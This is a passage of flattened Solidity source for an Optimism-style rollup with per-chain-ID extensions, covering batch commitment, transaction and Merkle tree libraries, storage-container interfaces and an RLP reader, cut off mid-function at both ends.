batchHeader.batchSize, batchHeader.prevTotalElements, batchHeader.extraData ); batches().pushByChainId( _chainId, Lib_OVMCodec.hashBatchHeader(batchHeader), _makeBatchExtraDataByChainId( _chainId, uint40(batchHeader.prevTotalElements + batchHeader.batchSize), lastSequencerTimestamp ) ); } /** * Removes a batch and all subsequent batches from the chain. * @param _batchHeader Header of the batch to remove. */ function _deleteBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal { require( _batchHeader.batchIndex < batches().lengthByChainId(_chainId), "Invalid batch index." ); require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); batches().deleteElementsAfterInclusiveByChainId( _chainId, _batchHeader.batchIndex, _makeBatchExtraDataByChainId( _chainId, uint40(_batchHeader.prevTotalElements), 0 ) ); emit StateBatchDeleted( _chainId, _batchHeader.batchIndex, _batchHeader.batchRoot ); } /** * Checks that a batch header matches the stored hash for the given index. * @param _batchHeader Batch header to validate. * @return Whether or not the header matches the stored one. */ function _isValidBatchHeaderByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal view returns ( bool ) { return Lib_OVMCodec.hashBatchHeader(_batchHeader) == batches().getByChainId(_chainId,_batchHeader.batchIndex); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol"; /** * @title Lib_OVMCodec */ library Lib_OVMCodec { /********* * Enums * *********/ enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /*********** * Structs * ***********/ struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } /********************** * Internal Functions * **********************/ /** * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. */ function encodeTransaction(Transaction memory _transaction) internal pure returns (bytes memory) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /** * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction */ function hashTransaction(Transaction memory _transaction) internal pure returns (bytes32) { return keccak256(encodeTransaction(_transaction)); } /** * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. */ function decodeEVMAccount(bytes memory _encoded) internal pure returns (EVMAccount memory) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /** * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. */ function hashBatchHeader(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) internal pure returns (bytes32) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_AddressManager } from "./Lib_AddressManager.sol"; /** * @title Lib_AddressResolver */ abstract contract Lib_AddressResolver { /************* * Variables * *************/ Lib_AddressManager public libAddressManager; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Lib_AddressManager. */ constructor(address _libAddressManager) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************** * Public Functions * ********************/ /** * Resolves the address associated with a given name. * @param _name Name to resolve an address for. * @return Address associated with the given name. */ function resolve(string memory _name) public view returns (address) { return libAddressManager.getAddress(_name); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_MerkleTree * @author River Keefer */ library Lib_MerkleTree { /********************** * Internal Functions * **********************/ /** * Calculates a merkle root for a list of 32-byte leaf hashes. WARNING: If the number * of leaves passed in is not a power of two, it pads out the tree with zero hashes. * If you do not know the original length of elements for the tree you are verifying, then * this may allow empty leaves past _elements.length to pass a verification check down the line. * Note that the _elements argument is modified, therefore it must not be used again afterwards * @param _elements Array of hashes from which to generate a merkle root. * @return Merkle root of the leaves, with zero hashes for non-powers-of-two (see above). */ function getMerkleRoot(bytes32[] memory _elements) internal pure returns (bytes32) { require(_elements.length > 0, "Lib_MerkleTree: Must provide at least one leaf hash."); if (_elements.length == 1) { return _elements[0]; } uint256[16] memory defaults = [ 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563, 0x633dc4d7da7256660a892f8f1604a44b5432649cc8ec5cb3ced4c4e6ac94dd1d, 0x890740a8eb06ce9be422cb8da5cdafc2b58c0a5e24036c578de2a433c828ff7d, 0x3b8ec09e026fdc305365dfc94e189a81b38c7597b3d941c279f042e8206e0bd8, 0xecd50eee38e386bd62be9bedb990706951b65fe053bd9d8a521af753d139e2da, 0xdefff6d330bb5403f63b14f33b578274160de3a50df4efecf0e0db73bcdd3da5, 0x617bdd11f7c0a11f49db22f629387a12da7596f9d1704d7465177c63d88ec7d7, 0x292c23a9aa1d8bea7e2435e555a4a60e379a5a35f3f452bae60121073fb6eead, 0xe1cea92ed99acdcb045a6726b2f87107e8a61620a232cf4d7d5b5766b3952e10, 0x7ad66c0a68c72cb89e4fb4303841966e4062a76ab97451e3b9fb526a5ceb7f82, 0xe026cc5a4aed3c22a58cbd3d2ac754c9352c5436f638042dca99034e83636516, 0x3d04cffd8b46a874edf5cfae63077de85f849a660426697b06a829c70dd1409c, 0xad676aa337a485e4728a0b240d92b3ef7b3c372d06d189322bfd5f61f1e7203e, 0xa2fca4a49658f9fab7aa63289c91b7c7b6c832a6d0e69334ff5b0a3483d09dab, 0x4ebfd9cd7bca2505f7bef59cc1c12ecc708fff26ae4af19abe852afe9e20c862, 0x2def10d13dd169f550f578bda343d9717a138562e0093b380a1120789d53cf10 ]; // Reserve memory space for our hashes. bytes memory buf = new bytes(64); // We'll need to keep track of left and right siblings. bytes32 leftSibling; bytes32 rightSibling; // Number of non-empty nodes at the current depth. uint256 rowSize = _elements.length; // Current depth, counting from 0 at the leaves uint256 depth = 0; // Common sub-expressions uint256 halfRowSize; // rowSize / 2 bool rowSizeIsOdd; // rowSize % 2 == 1 while (rowSize > 1) { halfRowSize = rowSize / 2; rowSizeIsOdd = rowSize % 2 == 1; for (uint256 i = 0; i < halfRowSize; i++) { leftSibling = _elements[(2 * i)]; rightSibling = _elements[(2 * i) + 1]; assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[i] = keccak256(buf); } if (rowSizeIsOdd) { leftSibling = _elements[rowSize - 1]; rightSibling = bytes32(defaults[depth]); assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[halfRowSize] = keccak256(buf); } rowSize = halfRowSize + (rowSizeIsOdd ? 1 : 0); depth++; } return _elements[0]; } /** * Verifies a merkle branch for the given leaf hash. Assumes the original length * of leaves generated is a known, correct input, and does not return true for indices * extending past that index (even if _siblings would be otherwise valid.) * @param _root The Merkle root to verify against. * @param _leaf The leaf hash to verify inclusion of. * @param _index The index in the tree of this leaf. * @param _siblings Array of sibline nodes in the inclusion proof, starting from depth 0 * (bottom of the tree). * @param _totalLeaves The total number of leaves originally passed into. * @return Whether or not the merkle branch and leaf passes verification. */ function verify( bytes32 _root, bytes32 _leaf, uint256 _index, bytes32[] memory _siblings, uint256 _totalLeaves ) internal pure returns (bool) { require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero."); require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds."); require( _siblings.length == _ceilLog2(_totalLeaves), "Lib_MerkleTree: Total siblings does not correctly correspond to total leaves." ); bytes32 computedRoot = _leaf; for (uint256 i = 0; i < _siblings.length; i++) { if ((_index & 1) == 1) { computedRoot = keccak256(abi.encodePacked(_siblings[i], computedRoot)); } else { computedRoot = keccak256(abi.encodePacked(computedRoot, _siblings[i])); } _index >>= 1; } return _root == computedRoot; } /********************* * Private Functions * *********************/ /** * Calculates the integer ceiling of the log base 2 of an input. * @param _in Unsigned input to calculate the log. * @return ceil(log_base_2(_in)) */ function _ceilLog2(uint256 _in) private pure returns (uint256) { require(_in > 0, "Lib_MerkleTree: Cannot compute ceil(log_2) of 0."); if (_in == 1) { return 0; } // Find the highest set bit (will be floor(log_2)). // Borrowed with <3 from https://github.com/ethereum/solidity-examples uint256 val = _in; uint256 highest = 0; for (uint256 i = 128; i >= 1; i >>= 1) { if (val & (((uint256(1) << i) - 1) << i) != 0) { highest += i; val >>= i; } } // Increment by one if this is not a perfect logarithm. if ((uint256(1) << highest) != _in) { highest += 1; } return highest; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title IStateCommitmentChain */ interface IStateCommitmentChain { /********** * Events * **********/ event StateBatchAppended( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot, uint256 _batchSize, uint256 _prevTotalElements, bytes _extraData ); event StateBatchDeleted( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot ); /******************** * Public Functions * ********************/ function batches() external view returns (IChainStorageContainer); /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() external view returns (uint256 _totalElements); /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() external view returns (uint256 _totalBatches); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestamp() external view returns (uint256 _lastSequencerTimestamp); /** * Appends a batch of state roots to the chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatch(bytes32[] calldata _batch, uint256 _shouldStartAtElement) external; /** * Deletes all state roots after (and including) a given batch. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external; /** * Verifies a batch inclusion proof. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitment( bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns (bool _verified); /** * Checks whether a given batch is still inside its fraud proof window. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external view returns ( bool _inside ); /******************** * chain id added func * ********************/ /** * Retrieves the total number of elements submitted. * @param _chainId identity for the l2 chain. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId(uint256 _chainId) external view returns ( uint256 _totalElements ); /** * Retrieves the total number of batches submitted. * @param _chainId identity for the l2 chain. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId(uint256 _chainId) external view returns ( uint256 _totalBatches ); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @param _chainId identity for the l2 chain. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestampByChainId(uint256 _chainId) external view returns ( uint256 _lastSequencerTimestamp ); /** * Appends a batch of state roots to the chain. * @param _chainId identity for the l2 chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatchByChainId( uint256 _chainId, bytes32[] calldata _batch, uint256 _shouldStartAtElement, string calldata proposer ) external; /** * Deletes all state roots after (and including) a given batch. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external; /** * Verifies a batch inclusion proof. * @param _chainId identity for the l2 chain. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitmentByChainId( uint256 _chainId, bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns ( bool _verified ); /** * Checks whether a given batch is still inside its fraud proof window. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindowByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external view returns ( bool _inside ); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /* Interface Imports */ import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title ICanonicalTransactionChain */ interface ICanonicalTransactionChain { /********** * Events * **********/ event QueueGlobalMetadataSet( address _sender, uint256 _chainId, bytes27 _globalMetadata ); event QueuePushed( address _sender, uint256 _chainId, Lib_OVMCodec.QueueElement _object ); event QueueSetted( address _sender, uint256 _chainId, uint256 _index, Lib_OVMCodec.QueueElement _object ); event QueueElementDeleted( address _sender, uint256 _chainId, uint256 _index, bytes27 _globalMetadata ); event BatchesGlobalMetadataSet( address _sender, uint256 _chainId, bytes27 _globalMetadata ); event BatchPushed( address _sender, uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ); event BatchSetted( address _sender, uint256 _chainId, uint256 _index, bytes32 _object ); event BatchElementDeleted( address _sender, uint256 _chainId, uint256 _index, bytes27 _globalMetadata ); event L2GasParamsUpdated( uint256 l2GasDiscountDivisor, uint256 enqueueGasCost, uint256 enqueueL2GasPrepaid ); event TransactionEnqueued( uint256 _chainId, address indexed _l1TxOrigin, address indexed _target, uint256 _gasLimit, bytes _data, uint256 indexed _queueIndex, uint256 _timestamp ); event QueueBatchAppended( uint256 _chainId, uint256 _startingQueueIndex, uint256 _numQueueElements, uint256 _totalElements ); event SequencerBatchAppended( uint256 _chainId, uint256 _startingQueueIndex, uint256 _numQueueElements, uint256 _totalElements ); event TransactionBatchAppended( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot, uint256 _batchSize, uint256 _prevTotalElements, bytes _extraData ); /*********** * Structs * ***********/ struct BatchContext { uint256 numSequencedTransactions; uint256 numSubsequentQueueTransactions; uint256 timestamp; uint256 blockNumber; } /******************************* * Authorized Setter Functions * *******************************/ /** * Allows the Burn Admin to update the parameters which determine the amount of gas to burn. * The value of enqueueL2GasPrepaid is immediately updated as well. */ function setGasParams(uint256 _l2GasDiscountDivisor, uint256 _enqueueGasCost) external; /******************** * Public Functions * ********************/ /** * Accesses the batch storage container. * @return Reference to the batch storage container. */ function batches() external view returns (IChainStorageContainer); /** * Accesses the queue storage container. * @return Reference to the queue storage container. */ function queue() external view returns (IChainStorageContainer); /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() external view returns (uint256 _totalElements); /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() external view returns (uint256 _totalBatches); /** * Returns the index of the next element to be enqueued. * @return Index for the next queue element. */ function getNextQueueIndex() external view returns (uint40); /** * Gets the queue element at a particular index. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElement(uint256 _index) external view returns (Lib_OVMCodec.QueueElement memory _element); /** * Returns the timestamp of the last transaction. * @return Timestamp for the last transaction. */ function getLastTimestamp() external view returns (uint40); /** * Returns the blocknumber of the last transaction. * @return Blocknumber for the last transaction. */ function getLastBlockNumber() external view returns (uint40); /** * Get the number of queue elements which have not yet been included. * @return Number of pending queue elements. */ function getNumPendingQueueElements() external view returns (uint40); /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @return Length of the queue. */ function getQueueLength() external view returns (uint40); /** * Adds a transaction to the queue. * @param _target Target contract to send the transaction to. * @param _gasLimit Gas limit for the given transaction. * @param _data Transaction data. */ function enqueue( address _target, uint256 _gasLimit, bytes memory _data ) external; /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatch( // uint40 _shouldStartAtElement, // uint24 _totalElementsToAppend, // BatchContext[] _contexts, // bytes[] _transactionDataFields ) external; //added chain id function /** * Retrieves the total number of elements submitted. * @param _chainId identity for the l2 chain. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId( uint256 _chainId ) external view returns ( uint256 _totalElements ); /** * Retrieves the total number of batches submitted. * @param _chainId identity for the l2 chain. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId( uint256 _chainId ) external view returns ( uint256 _totalBatches ); /** * Returns the index of the next element to be enqueued. * @param _chainId identity for the l2 chain. * @return Index for the next queue element. */ function getNextQueueIndexByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Gets the queue element at a particular index. * @param _chainId identity for the l2 chain. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElementByChainId( uint256 _chainId, uint256 _index ) external view returns ( Lib_OVMCodec.QueueElement memory _element ); /** * Returns the timestamp of the last transaction. * @param _chainId identity for the l2 chain. * @return Timestamp for the last transaction. */ function getLastTimestampByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Returns the blocknumber of the last transaction. * @param _chainId identity for the l2 chain. * @return Blocknumber for the last transaction. */ function getLastBlockNumberByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Get the number of queue elements which have not yet been included. * @param _chainId identity for the l2 chain. * @return Number of pending queue elements. */ function getNumPendingQueueElementsByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @param _chainId identity for the l2 chain. * @return Length of the queue. */ function getQueueLengthByChainId( uint256 _chainId ) external view returns ( uint40 ); /** * Adds a transaction to the queue. * @param _chainId identity for the l2 chain. * @param _target Target contract to send the transaction to. * @param _gasLimit Gas limit for the given transaction. * @param _data Transaction data. */ function enqueueByChainId( uint256 _chainId, address _target, uint256 _gasLimit, bytes memory _data ) external; /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _chainId identity for the l2 chain. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatchByChainId( // uint256 _chainId, // uint40 _shouldStartAtElement, // uint24 _totalElementsToAppend, // BatchContext[] _contexts, // bytes[] _transactionDataFields ) external; function pushQueueByChainId( uint256 _chainId, Lib_OVMCodec.QueueElement calldata _object ) external; function setQueueByChainId( uint256 _chainId, uint256 _index, Lib_OVMCodec.QueueElement calldata _object ) external; function setBatchGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) external; function getBatchGlobalMetadataByChainId(uint256 _chainId) external view returns ( bytes27 ); function lengthBatchByChainId(uint256 _chainId) external view returns ( uint256 ); function pushBatchByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) external; function setBatchByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) external; function getBatchByChainId( uint256 _chainId, uint256 _index ) external view returns ( bytes32 ); function deleteBatchElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title IBondManager */ interface IBondManager { /******************** * Public Functions * ********************/ function isCollateralized(address _who) external view returns (bool); function isCollateralizedByChainId( uint256 _chainId, address _who, address _prop ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /** * @title IChainStorageContainer */ interface IChainStorageContainer { /******************** * Public Functions * ********************/ /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadata(bytes27 _globalMetadata) external; /** * Retrieves the container's global metadata field. * @return Container global metadata field. */ function getGlobalMetadata() external view returns (bytes27); /** * Retrieves the number of objects stored in the container. * @return Number of objects in the container. */ function length() external view returns (uint256); /** * Pushes an object into the container. * @param _object A 32 byte value to insert into the container. */ function push(bytes32 _object) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function push(bytes32 _object, bytes27 _globalMetadata) external; /** * Set an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _index position. * @param _object A 32 byte value to insert into the container. */ function setByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) external; /** * Retrieves an object from the container. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function get(uint256 _index) external view returns (bytes32); /** * Removes all objects after and including a given index. * @param _index Object index to delete from. */ function deleteElementsAfterInclusive(uint256 _index) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusive(uint256 _index, bytes27 _globalMetadata) external; /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _chainId identity for the l2 chain. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) external; /** * Retrieves the container's global metadata field. * @param _chainId identity for the l2 chain. * @return Container global metadata field. */ function getGlobalMetadataByChainId( uint256 _chainId ) external view returns ( bytes27 ); /** * Retrieves the number of objects stored in the container. * @param _chainId identity for the l2 chain. * @return Number of objects in the container. */ function lengthByChainId( uint256 _chainId ) external view returns ( uint256 ); /** * Pushes an object into the container. * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. */ function pushByChainId( uint256 _chainId, bytes32 _object ) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function pushByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) external; /** * Retrieves an object from the container. * @param _chainId identity for the l2 chain. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function getByChainId( uint256 _chainId, uint256 _index ) external view returns ( bytes32 ); /** * Removes all objects after and including a given index. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index ) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]). */ library Lib_RLPReader { /************* * Constants * *************/ uint256 internal constant MAX_LIST_LENGTH = 32; /********* * Enums * *********/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /*********** * Structs * ***********/ struct RLPItem { uint256 length; uint256 ptr; } /********************** * Internal Functions * **********************/ /** * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. */ function toRLPItem(bytes memory _in) internal pure returns (RLPItem memory) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(RLPItem memory _in) internal pure returns (RLPItem[] memory) { (uint256 listOffset, , RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value."); // Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require(itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length."); (uint256 itemOffset, uint256 itemLength, ) = _decodeLength( RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset }) ); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(bytes memory _in) internal pure returns (RLPItem[] memory) { return readList(toRLPItem(_in)); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(RLPItem memory _in) internal pure returns (bytes memory) { (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value."); return _copy(_in.ptr, itemOffset, itemLength); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(bytes memory _in) internal pure returns (bytes memory) { return readBytes(toRLPItem(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(RLPItem memory _in) internal pure returns (string memory) { return string(readBytes(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(bytes memory _in) internal pure returns (string memory) { return readString(toRLPItem(_in)); } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(RLPItem memory _in) internal pure returns (bytes32) { require(_in.length <= 33, "Invalid RLP bytes32 value."); (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value."); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(bytes memory _in) internal pure returns (bytes32) { return readBytes32(toRLPItem(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(RLPItem memory _in) internal pure returns (uint256) { return uint256(readBytes32(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(bytes memory _in) internal pure returns (uint256) { return readUint256(toRLPItem(_in)); } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(RLPItem memory _in) internal pure returns (bool) { require(_in.length == 1, "Invalid RLP boolean value."); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require(out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1"); return out != 0; } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(bytes memory _in) internal pure returns (bool) { return readBool(toRLPItem(_in)); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(RLPItem memory _in) internal pure returns (address) { if (_in.length == 1) { return address(0); } require(_in.length == 21, "Invalid RLP address value."); return address(uint160(readUint256(_in))); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(bytes memory _in) internal pure returns (address) { return readAddress(toRLPItem(_in)); } /** * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. */ function readRawBytes(RLPItem memory _in) internal pure returns (bytes memory) { return _copy(_in); } /********************* * Private Functions * *********************/ /** * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). */ function _decodeLength(RLPItem memory _in) private pure returns ( uint256, uint256, RLPItemType ) { require(_in.length > 0, "RLP item cannot be null."); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return 